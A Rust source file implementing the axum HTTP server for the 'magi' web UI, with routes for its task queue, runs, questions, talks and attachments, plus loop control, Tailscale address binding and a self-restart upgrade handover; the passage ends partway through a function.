1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{daemon, git, report, repos, run, talk, updater};
125
126pub const DEFAULT_PORT: u16 = 7878;
128
129const POLL: Duration = Duration::from_secs(1);
131
132const KEEPALIVE: Duration = Duration::from_secs(15);
136
137const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
148
149const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
152
153const LIST_DEFAULT: usize = 50;
157const LIST_MAX: usize = 500;
159
160const TITLE_MAX: usize = 72;
162
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
172
173const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
179
180const FILENAME_HEADER: &str = "x-filename";
184
185const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
208 font-src data:; base-uri 'none'; form-action 'none'; \
209 frame-ancestors 'self'";
210
211const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
212const APP_CSS: &str = include_str!("../assets/ui/app.css");
213const APP_JS: &str = include_str!("../assets/ui/app.js");
214
215#[derive(Debug, Clone, Copy, PartialEq, Eq)]
217pub enum Bind {
218 Auto,
220 Addr(IpAddr),
222}
223
224impl std::str::FromStr for Bind {
225 type Err = String;
226
227 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
231 if s.eq_ignore_ascii_case("auto") {
232 return Ok(Self::Auto);
233 }
234 s.parse()
235 .map(Self::Addr)
236 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
237 }
238}
239
240impl std::fmt::Display for Bind {
241 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
242 match self {
243 Self::Auto => f.write_str("auto"),
244 Self::Addr(addr) => write!(f, "{addr}"),
245 }
246 }
247}
248
249#[derive(Debug, Clone)]
251pub struct Opts {
252 pub bind: Bind,
254 pub port: u16,
256 pub repo: PathBuf,
258 pub open: bool,
261 pub merge: Option<String>,
269}
270
271impl Default for Opts {
272 fn default() -> Self {
273 Self {
274 bind: Bind::Auto,
275 port: DEFAULT_PORT,
276 repo: PathBuf::from("."),
277 open: false,
278 merge: None,
279 }
280 }
281}
282
283#[derive(Debug, Clone)]
289pub struct Ui {
290 queue: Queue,
291 questions: Questions,
292 talks: Talks,
293 runs: PathBuf,
294 home: PathBuf,
295 repo: PathBuf,
296 worktrees_root: PathBuf,
303 talk_turns: Arc<Mutex<TalkTurns>>,
311 resuming: Arc<Mutex<HashSet<String>>>,
319 repos_cache: repos::Cache,
323 merge: Option<String>,
325 looping: Arc<Mutex<LoopState>>,
327 launch: Launch,
339}
340
341impl Ui {
342 pub fn new(
344 queue: Queue,
345 questions: Questions,
346 talks: Talks,
347 runs: PathBuf,
348 home: PathBuf,
349 repo: PathBuf,
350 ) -> Self {
351 Self {
352 queue,
353 questions,
354 talks,
355 runs,
356 home,
357 repo,
358 worktrees_root: run::default_worktree_root(),
362 talk_turns: Arc::default(),
363 resuming: Arc::default(),
364 repos_cache: repos::Cache::new(),
365 merge: None,
366 looping: Arc::default(),
367 launch: launch_daemon,
368 }
369 }
370
371 pub fn open(repo: PathBuf) -> Self {
374 Self::new(
375 Queue::open(),
376 Questions::open(),
377 Talks::open(),
378 run::runs_root(),
379 run::home(),
380 repo,
381 )
382 }
383
384 #[must_use]
391 pub fn with_merge(mut self, merge: Option<String>) -> Self {
392 self.merge = merge;
393 self
394 }
395
396 #[must_use]
401 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
402 self.worktrees_root = root;
403 self
404 }
405
406 #[cfg(test)]
411 #[must_use]
412 fn with_launch(mut self, launch: Launch) -> Self {
413 self.launch = launch;
414 self
415 }
416
417 fn looping(&self) -> Arc<Mutex<LoopState>> {
419 Arc::clone(&self.looping)
420 }
421
422 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
429 if let Some(other) = foreign {
430 return Err(ApiError::conflict(format!(
431 "{} is already running the loop, so this one will not start a \
432 second: two loops on one queue race for the same claims and \
433 burn the agent quota twice over. Stop it where it was \
434 started.",
435 other.who()
436 )));
437 }
438 let mut state = self.lock_loop();
439 if state.live.as_ref().is_some_and(Live::alive) {
440 return Err(ApiError::conflict(format!(
441 "this magi web process (pid {}) is already running the loop",
442 std::process::id()
443 )));
444 }
445
446 let stop = daemon::Stop::new();
447 let opts = daemon::Opts {
451 repo: self.repo.clone(),
452 merge: self.merge.clone(),
453 worktrees_root: Some(self.worktrees_root.clone()),
460 ..daemon::Opts::default()
461 };
462 let launch = self.launch;
463 let looping = Arc::clone(&self.looping);
464 let handle = tokio::spawn({
465 let opts = opts.clone();
466 let stop = stop.clone();
467 async move {
468 let failure = match launch(opts, stop).await {
469 Ok(()) => None,
470 Err(e) => Some(format!("{e:#}")),
471 };
472 match &failure {
473 Some(why) => tracing::error!("the loop stopped: {why}"),
474 None => tracing::info!("the loop stopped"),
475 }
476 let mut state = lock_or_recover(&looping);
482 state.live = None;
483 state.last_error = failure;
484 state.rev += 1;
485 }
486 });
487 tracing::info!(
488 "the loop is now running in this process: repo {}, merge {}",
489 opts.repo.display(),
490 opts.merge.as_deref().unwrap_or("as the config says")
491 );
492 state.live = Some(Live { stop, handle, opts });
493 state.last_error = None;
496 state.rev += 1;
497 Ok(())
498 }
499
500 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
506 if let Some(other) = foreign {
507 return Err(ApiError::conflict(format!(
508 "the loop belongs to {}, and this process cannot stop it - \
509 stop it where it was started. A button that silently did \
510 nothing would be worse than this refusal.",
511 other.who()
512 )));
513 }
514 let mut state = self.lock_loop();
515 let Some(live) = state.live.as_ref() else {
516 return Ok(());
517 };
518 if live.stop.stopped() && (!park || live.stop.parking()) {
522 return Ok(());
523 }
524 if park {
525 live.stop.park();
526 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
527 } else {
528 live.stop.stop();
529 tracing::info!("the loop was asked to stop; a run in flight is finished first");
530 }
531 state.rev += 1;
532 Ok(())
533 }
534
535 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
542 let state = self.lock_loop();
543 let live = state.live.as_ref().filter(|live| live.alive());
546 LoopView {
547 running: live.is_some(),
548 stopping: live.is_some_and(|live| live.stop.finishing()),
549 parking: live.is_some_and(|live| live.stop.parking()),
550 owned: live.is_some(),
551 repo: live
552 .map_or(&self.repo, |live| &live.opts.repo)
553 .display()
554 .to_string(),
555 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
556 last_error: state.last_error.clone(),
557 daemon: DaemonView::of(reading),
558 }
559 }
560
561 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
563 lock_or_recover(&self.looping)
564 }
565
566 fn is_thinking(&self, id: &str) -> bool {
572 self.talk_turns
573 .lock()
574 .is_ok_and(|turns| turns.live.contains(id))
575 }
576
577 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
596 self.claim_talk_turn(id, false)
597 }
598
599 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
602 self.claim_talk_turn(id, true)
603 }
604
605 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
606 let mut live = self
607 .talk_turns
608 .lock()
609 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
610 if !live.live.insert(id.to_owned()) {
611 if queued {
612 *live.queued.entry(id.to_owned()).or_default() += 1;
617 }
618 return Ok(None);
619 }
620 Ok(Some(TalkTurnGuard {
621 talk: id.to_owned(),
622 turns: Arc::clone(&self.talk_turns),
623 released: false,
624 }))
625 }
626
627 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
632 let mut live = self
633 .talk_turns
634 .lock()
635 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
636 if live.live.contains(id) {
637 return Ok(TalkTurnStart::Busy);
638 }
639 let talk = self.talks.get(id).map_err(ApiError::from)?;
640 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
641 return Ok(TalkTurnStart::Pending);
642 }
643 live.live.insert(id.to_owned());
644 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
645 talk: id.to_owned(),
646 turns: Arc::clone(&self.talk_turns),
647 released: false,
648 }))
649 }
650
651 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
658 let parking = {
659 let mut state = self.lock_loop();
660 let Some(live) = state.live.as_ref() else {
661 return Ok(None);
662 };
663 let busy = live.stop.busy_now();
664 live.stop.park();
665 state.rev += 1;
666 busy
667 };
668 Ok(if parking {
669 daemon::current_work(&self.home, jiff::Timestamp::now())
674 .into_iter()
675 .next()
676 .map(|c| c.run)
677 } else {
678 None
679 })
680 }
681
682 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
686 let mut live = self
687 .resuming
688 .lock()
689 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
690 if !live.insert(id.to_owned()) {
691 return Err(ApiError::conflict(format!(
692 "run {id} is already being resumed"
693 )));
694 }
695 Ok(ResumeGuard {
696 run: id.to_owned(),
697 resuming: Arc::clone(&self.resuming),
698 })
699 }
700
701 pub fn router(self) -> Router {
709 Router::new()
710 .route("/", get(index))
711 .route("/app.css", get(app_css))
712 .route("/app.js", get(app_js))
713 .route("/api/health", get(health))
714 .route("/api/loop", get(loop_get).post(loop_post))
715 .route("/api/upgrade", post(upgrade_post))
716 .route("/api/runs", get(runs_list))
717 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
718 .route("/api/runs/{id}/report", get(run_report))
719 .route("/api/runs/{id}/fold", post(run_fold))
720 .route("/api/runs/{id}/resume", post(run_resume))
721 .route("/api/queue", get(queue_list))
722 .route("/api/queue/{id}", delete(queue_delete))
723 .route("/api/repos", get(repos_list))
724 .route("/api/queue/{id}/hold", post(queue_hold))
725 .route("/api/queue/{id}/release", post(queue_release))
726 .route("/api/queue/{id}/priority", post(queue_priority))
727 .route("/api/queue/{id}/edit", post(queue_edit))
728 .route("/api/queue/{id}/done", post(queue_done))
729 .route("/api/questions", get(questions_list))
730 .route("/api/questions/{id}/answer", post(question_answer))
731 .route("/api/questions/{id}/say", post(question_say))
732 .route("/api/questions/{id}/panel", get(question_panel))
733 .route("/api/questions/{id}/panel/index.html", get(question_panel))
741 .route("/api/questions/{id}/panel/{name}", get(question_asset))
742 .route("/api/questions/{id}/asset/{name}", get(question_asset))
743 .route("/api/talks", get(talks_list).post(talk_post))
744 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
745 .route("/api/talks/{id}/say", post(talk_say))
746 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
747 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
748 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
749 .route("/api/talks/{id}/close", post(talk_close))
750 .route("/api/talks/{id}/reopen", post(talk_reopen))
751 .route(
757 "/api/talks/{id}/attachments",
758 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
759 )
760 .route(
761 "/api/talks/{id}/attachments/{att}",
762 get(talk_attachment_get),
763 )
764 .route("/api/events", get(events))
765 .with_state(Arc::new(self))
766 }
767}
768
769#[derive(Debug)]
775struct TalkTurnGuard {
776 talk: String,
777 turns: Arc<Mutex<TalkTurns>>,
778 released: bool,
779}
780
781#[derive(Debug, Default)]
788struct TalkTurns {
789 live: HashSet<String>,
790 queued: HashMap<String, u64>,
791}
792
793enum TalkTurnStart {
796 Claimed(TalkTurnGuard),
797 Busy,
798 Pending,
799}
800
801impl TalkTurnGuard {
802 fn release(mut self, live: &mut TalkTurns) {
805 live.live.remove(&self.talk);
806 live.queued.remove(&self.talk);
807 self.released = true;
808 }
809}
810
811impl Drop for TalkTurnGuard {
812 fn drop(&mut self) {
813 if self.released {
814 return;
815 }
816 if let Ok(mut live) = self.turns.lock() {
817 live.live.remove(&self.talk);
818 live.queued.remove(&self.talk);
819 }
820 }
821}
822
823struct ResumeGuard {
825 run: String,
826 resuming: Arc<Mutex<HashSet<String>>>,
827}
828
829impl Drop for ResumeGuard {
830 fn drop(&mut self) {
831 if let Ok(mut live) = self.resuming.lock() {
832 live.remove(&self.run);
833 }
834 }
835}
836
837async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
847 const WINDOW: Duration = Duration::from_secs(10);
848 const GAP: Duration = Duration::from_millis(250);
849
850 let deadline = std::time::Instant::now() + WINDOW;
851 let mut said = false;
852 loop {
853 match tokio::net::TcpListener::bind(socket).await {
854 Ok(listener) => return Ok(listener),
855 Err(e)
856 if e.kind() == std::io::ErrorKind::AddrInUse
857 && std::time::Instant::now() < deadline =>
858 {
859 if !said {
860 said = true;
861 tracing::info!(
862 "{socket} is still held - waiting up to {}s for it, \
863 which is what a restart looks like from here",
864 WINDOW.as_secs()
865 );
866 }
867 tokio::time::sleep(GAP).await;
868 }
869 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
870 }
871 }
872}
873
874static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
877
878fn spawn_successor() -> Result<()> {
890 let exe = std::env::current_exe().context("find this binary")?;
891 let args: Vec<String> = std::env::args().skip(1).collect();
892 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
893
894 let mut cmd = std::process::Command::new(&exe);
895 cmd.args(&args)
896 .stdin(std::process::Stdio::null())
897 .stdout(std::process::Stdio::null())
898 .stderr(std::process::Stdio::null());
899 #[cfg(windows)]
900 {
901 use std::os::windows::process::CommandExt as _;
902 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
905 }
906 cmd.spawn().context("start the successor")?;
907 Ok(())
908}
909
910pub async fn serve(opts: Opts) -> Result<()> {
935 let (addr, warning) = resolve_bind(&opts.bind);
936 if let Some(warning) = warning {
937 tracing::warn!("{warning}");
938 }
939
940 report::set_color(false);
946
947 let repo = normalize_default_repo(opts.repo).await;
948 let ui = Ui::open(repo).with_merge(opts.merge);
949 let home = ui.home.clone();
954 let repo = ui.repo.clone();
955 updater::reconcile_after_restart(&home);
960 tokio::spawn(run_update_recheck(repo, home.clone()));
969 let looping = ui.looping();
970 let socket = SocketAddr::new(addr, opts.port);
971 let listener = bind_waiting(socket).await?;
972 let url = format!("http://{addr}:{}", opts.port);
973 tracing::info!(
974 "magi web UI on {url} - there is no authentication, so anyone who can \
975 reach this address can file and hold tasks: the tailnet is the \
976 security boundary"
977 );
978 tracing::info!(
979 "the queue loop is not running yet - start it from the UI, which is \
980 the whole reason this process can: nothing in the queue moves until \
981 something is running the loop"
982 );
983 if opts.open {
984 println!("{url}");
988 }
989
990 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
993 let interrupted = async {
994 if tokio::signal::ctrl_c().await.is_err() {
995 std::future::pending::<()>().await;
1000 }
1001 };
1002 let handover = HANDOVER.notified();
1003 tokio::select! {
1004 joined = &mut served => match joined {
1005 Ok(outcome) => outcome.context("serve the web UI"),
1006 Err(e) => Err(e).context("the task serving the web UI ended"),
1007 },
1008 () = interrupted => {
1009 tracing::info!("shutting down the web UI");
1010 finish_loop(&looping).await;
1011 Ok(())
1012 }
1013 () = handover => {
1014 tracing::info!("upgraded - handing this address to the successor");
1015 hand_over(&home, &looping, served, spawn_successor).await
1016 }
1017 }
1018}
1019
1020async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1041 if repo != FsPath::new(".") {
1042 return repo;
1043 }
1044 let Ok(canonical) = repo.canonicalize() else {
1045 return repo;
1046 };
1047 if git::toplevel(&canonical).await.is_ok() {
1048 return repo;
1049 }
1050 let Some(home) = dirs::home_dir() else {
1051 return repo;
1052 };
1053 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1054 Some(found) => {
1055 tracing::info!(
1056 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1057 canonical.display(),
1058 found.path.display(),
1059 found.reason,
1060 );
1061 found.path
1062 }
1063 None => repo,
1064 }
1065}
1066
1067async fn hand_over(
1095 home: &FsPath,
1096 looping: &Mutex<LoopState>,
1097 served: tokio::task::JoinHandle<std::io::Result<()>>,
1098 successor: impl FnOnce() -> Result<()>,
1099) -> Result<()> {
1100 if let Some(mut progress) = updater::read_progress(home) {
1101 progress.advance(updater::Stage::Parking);
1102 let _ = updater::write_progress(home, &progress);
1103 }
1104 finish_loop(looping).await;
1105 served.abort();
1106 let _ = served.await;
1107 if let Some(mut progress) = updater::read_progress(home) {
1108 progress.advance(updater::Stage::Restarting);
1109 let _ = updater::write_progress(home, &progress);
1110 }
1111 successor()
1112}
1113
1114async fn finish_loop(state: &Mutex<LoopState>) {
1121 let live = lock_or_recover(state).live.take();
1122 let Some(live) = live else { return };
1123 live.stop.stop();
1124 lock_or_recover(state).rev += 1;
1125 tracing::info!("waiting for the loop to finish the run in flight");
1126 let _ = live.handle.await;
1129}
1130
1131pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1137 match bind {
1138 Bind::Addr(addr) => (*addr, None),
1139 Bind::Auto => match tailscale_ip() {
1140 Ok(ip) => (IpAddr::V4(ip), None),
1141 Err(why) => (
1142 IpAddr::V4(Ipv4Addr::LOCALHOST),
1143 Some(format!(
1144 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1145 local-only and a phone cannot reach it; start Tailscale \
1146 or pass --bind <addr>"
1147 )),
1148 ),
1149 },
1150 }
1151}
1152
1153fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1161 let out = std::process::Command::new("tailscale")
1162 .args(["ip", "-4"])
1163 .quiet()
1164 .output()
1165 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1166 if !out.status.success() {
1167 let why = String::from_utf8_lossy(&out.stderr);
1168 let why = why.trim();
1169 return Err(format!(
1170 "`tailscale ip -4` failed ({}){}",
1171 out.status,
1172 if why.is_empty() {
1173 String::new()
1174 } else {
1175 format!(": {why}")
1176 }
1177 ));
1178 }
1179 String::from_utf8_lossy(&out.stdout)
1180 .lines()
1181 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1182 .find(is_tailnet)
1183 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1184}
1185
1186fn is_tailnet(ip: &Ipv4Addr) -> bool {
1188 let o = ip.octets();
1189 o[0] == 100 && (64..=127).contains(&o[1])
1190}
1191
1192type ApiResult<T> = std::result::Result<T, ApiError>;
1196
1197#[derive(Debug)]
1199struct ApiError {
1200 status: StatusCode,
1201 message: String,
1202}
1203
1204impl ApiError {
1205 fn bad_request(message: impl Into<String>) -> Self {
1207 Self {
1208 status: StatusCode::BAD_REQUEST,
1209 message: message.into(),
1210 }
1211 }
1212
1213 fn not_found(message: impl Into<String>) -> Self {
1215 Self {
1216 status: StatusCode::NOT_FOUND,
1217 message: message.into(),
1218 }
1219 }
1220
1221 fn with_status(mut self, status: StatusCode) -> Self {
1224 self.status = status;
1225 self
1226 }
1227
1228 fn bad_request_from(e: anyhow::Error) -> Self {
1232 Self::bad_request(format!("{e:#}"))
1233 }
1234
1235 fn conflict(message: impl Into<String>) -> Self {
1236 Self {
1237 status: StatusCode::CONFLICT,
1238 message: message.into(),
1239 }
1240 }
1241
1242 fn internal(message: impl Into<String>) -> Self {
1244 Self {
1245 status: StatusCode::INTERNAL_SERVER_ERROR,
1246 message: message.into(),
1247 }
1248 }
1249}
1250
1251impl From<anyhow::Error> for ApiError {
1252 fn from(e: anyhow::Error) -> Self {
1257 Self::internal(format!("{e:#}"))
1258 }
1259}
1260
1261impl IntoResponse for ApiError {
1262 fn into_response(self) -> Response {
1263 let body = serde_json::json!({ "error": self.message });
1264 (self.status, Json(body)).into_response()
1265 }
1266}
1267
1268async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1277where
1278 T: Send + 'static,
1279{
1280 match tokio::task::spawn_blocking(job).await {
1281 Ok(result) => result,
1282 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1283 }
1284}
1285
1286const ASSET_CACHE: &str = "no-cache, must-revalidate";
1304
1305fn asset_etag() -> &'static str {
1312 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1313 format!(
1314 "\"{}-{}\"",
1315 env!("CARGO_PKG_VERSION"),
1316 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1321 )
1322 });
1323 &TAG
1324}
1325
1326fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1328 [
1329 (header::CONTENT_TYPE, mime),
1330 (header::CACHE_CONTROL, ASSET_CACHE),
1331 (header::ETAG, asset_etag()),
1332 ]
1333}
1334
1335fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1343 let tag = asset_etag();
1344 let known = headers
1345 .get(header::IF_NONE_MATCH)
1346 .and_then(|v| v.to_str().ok())
1347 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1351 if known {
1352 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1353 }
1354 (asset_headers(mime), body).into_response()
1355}
1356
1357async fn index(headers: header::HeaderMap) -> Response {
1358 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1359}
1360
1361async fn app_css(headers: header::HeaderMap) -> Response {
1362 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1363}
1364
1365async fn app_js(headers: header::HeaderMap) -> Response {
1366 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1367}
1368
1369#[derive(Debug, Serialize)]
1371struct HealthView {
1372 version: &'static str,
1373 home: String,
1374 queue_rev: u64,
1375 runs_rev: u64,
1376 questions_rev: u64,
1388 talks_rev: u64,
1390 loop_rev: u64,
1395 runs_unreadable: usize,
1403 disk: DiskView,
1411 questions_open: usize,
1417 questions_needs_owner: usize,
1427 daemon: DaemonView,
1428 #[serde(rename = "loop")]
1434 looping: LoopView,
1435 update: UpdateView,
1442 upgrade: Option<UpgradeProgressView>,
1446}
1447
1448#[derive(Debug, Serialize)]
1455struct UpdateView {
1456 available: bool,
1458 to: Option<String>,
1460}
1461
1462#[derive(Debug, Serialize)]
1464struct UpgradeProgressView {
1465 stage: updater::Stage,
1466 from: String,
1467 to: Option<String>,
1468 waiting_on: Option<String>,
1471 started_at: Timestamp,
1472 updated_at: Timestamp,
1473 detail: Option<String>,
1474}
1475
1476fn should_spawn_recheck(cfg: &Update) -> bool {
1483 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1484}
1485
1486fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1498 if progress.is_some_and(|p| !p.stage.terminal()) {
1499 return false;
1500 }
1501 checker.should_check()
1502}
1503
1504fn recheck_poll_period(cfg: &Update) -> Duration {
1517 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1518}
1519
1520async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1544 loop {
1545 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1546 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1547 if !should_spawn_recheck(&cfg.update) {
1548 continue;
1549 }
1550 let Some(checker) = updater::Checker::new(&cfg.update) else {
1551 continue;
1552 };
1553 let progress = updater::read_progress(&home);
1554 if !update_recheck_due(&checker, progress.as_ref()) {
1555 continue;
1556 }
1557 if let Err(e) = checker.newer_release().await {
1558 tracing::warn!("background update recheck failed: {e:#}");
1559 }
1560 }
1561}
1562
1563fn cached_update_view(repo: &FsPath) -> UpdateView {
1569 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1570 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1571 match latest {
1572 Some(latest) => UpdateView {
1573 available: true,
1574 to: Some(latest.tag_name),
1575 },
1576 None => UpdateView {
1577 available: false,
1578 to: None,
1579 },
1580 }
1581}
1582
1583fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1589 let waiting_on = (progress.stage == updater::Stage::Parking)
1590 .then_some(progress.parked_run.as_deref())
1591 .flatten()
1592 .and_then(|id| read_run(&ui.runs, id).ok())
1593 .map(|run| {
1594 format!(
1595 "run {} is finishing {} before the address is handed over",
1596 run.short(),
1597 run.status.as_str()
1598 )
1599 });
1600 UpgradeProgressView {
1601 stage: progress.stage,
1602 from: progress.from,
1603 to: progress.to,
1604 waiting_on,
1605 started_at: progress.started_at,
1606 updated_at: progress.updated_at,
1607 detail: progress.detail,
1608 }
1609}
1610
1611#[derive(Debug, Serialize)]
1616struct DiskView {
1617 #[serde(skip_serializing_if = "Option::is_none")]
1619 free_bytes: Option<u64>,
1620 runs_bytes: u64,
1622 worktrees_bytes: u64,
1624 #[serde(skip_serializing_if = "Option::is_none")]
1626 cache_bytes: Option<u64>,
1627}
1628
1629impl DiskView {
1630 fn of(ui: &Ui) -> Self {
1632 let cache_bytes = Config::discover(&ui.repo, None)
1633 .ok()
1634 .and_then(|(cfg, _)| cfg.cache_dir())
1635 .map(|dir| crate::disk::dir_size(&dir));
1636 Self {
1637 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1638 runs_bytes: crate::disk::dir_size(&ui.runs),
1639 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1640 cache_bytes,
1641 }
1642 }
1643}
1644
1645#[derive(Debug, Serialize)]
1647struct DaemonView {
1648 running: bool,
1649 idle: Option<bool>,
1650 pid: Option<u32>,
1651 current: Vec<daemon::Current>,
1655 completed: Option<u64>,
1656 stale_for_secs: Option<i64>,
1657}
1658
1659impl DaemonView {
1660 fn of(status: Option<daemon::Reading>) -> Self {
1664 let Some(status) = status else {
1665 return Self {
1666 running: false,
1667 idle: None,
1668 pid: None,
1669 current: Vec::new(),
1670 completed: None,
1671 stale_for_secs: None,
1672 };
1673 };
1674 let now = Timestamp::now();
1675 let age = status.age_secs(now);
1676 Self {
1677 running: status.running(now),
1678 idle: Some(status.idle),
1679 pid: status.pid,
1680 current: status.current,
1681 completed: Some(status.completed),
1682 stale_for_secs: age,
1683 }
1684 }
1685}
1686
1687async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1688 blocking(move || {
1689 let reading = daemon::read_status(&ui.home);
1693 let loop_rev = ui.lock_loop().rev;
1697 let update = cached_update_view(&ui.repo);
1698 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1699 Ok(Json(HealthView {
1700 version: env!("CARGO_PKG_VERSION"),
1701 home: ui.home.display().to_string(),
1702 queue_rev: ui.queue.revision(),
1703 runs_rev: runs_revision(&ui.runs),
1704 questions_rev: ui.questions.revision(),
1705 talks_rev: ui.talks.revision(),
1706 loop_rev,
1707 runs_unreadable: runs_unreadable(&ui.runs),
1708 questions_open: ui.questions.count_open(),
1709 questions_needs_owner: ui.questions.count_needs_owner(),
1710 daemon: DaemonView::of(reading.clone()),
1711 looping: ui.loop_view(reading),
1712 disk: DiskView::of(&ui),
1713 update,
1714 upgrade,
1715 }))
1716 })
1717 .await
1718}
1719
1720#[derive(Debug, Serialize)]
1722struct LoopView {
1723 running: bool,
1725 stopping: bool,
1733 parking: bool,
1741 owned: bool,
1749 repo: String,
1752 merge: Option<String>,
1755 last_error: Option<String>,
1763 daemon: DaemonView,
1766}
1767
1768#[derive(Debug, Clone, Copy)]
1777struct Foreign {
1778 pid: Option<u32>,
1780}
1781
1782impl Foreign {
1783 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1786 let reading = reading?;
1787 if !reading.running(Timestamp::now()) {
1788 return None;
1789 }
1790 match reading.pid {
1791 Some(pid) if pid == std::process::id() => None,
1792 pid => Some(Self { pid }),
1796 }
1797 }
1798
1799 fn who(&self) -> String {
1802 match self.pid {
1803 Some(pid) => format!("another magi process (pid {pid})"),
1804 None => "another magi process".to_owned(),
1805 }
1806 }
1807}
1808
1809type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1814
1815fn launch_daemon(
1817 opts: daemon::Opts,
1818 stop: daemon::Stop,
1819) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1820 Box::pin(daemon::serve_until(opts, stop))
1821}
1822
1823#[derive(Debug, Default)]
1825struct LoopState {
1826 live: Option<Live>,
1828 rev: u64,
1836 last_error: Option<String>,
1839}
1840
1841#[derive(Debug)]
1843struct Live {
1844 stop: daemon::Stop,
1846 handle: tokio::task::JoinHandle<()>,
1851 opts: daemon::Opts,
1855}
1856
1857impl Live {
1858 fn alive(&self) -> bool {
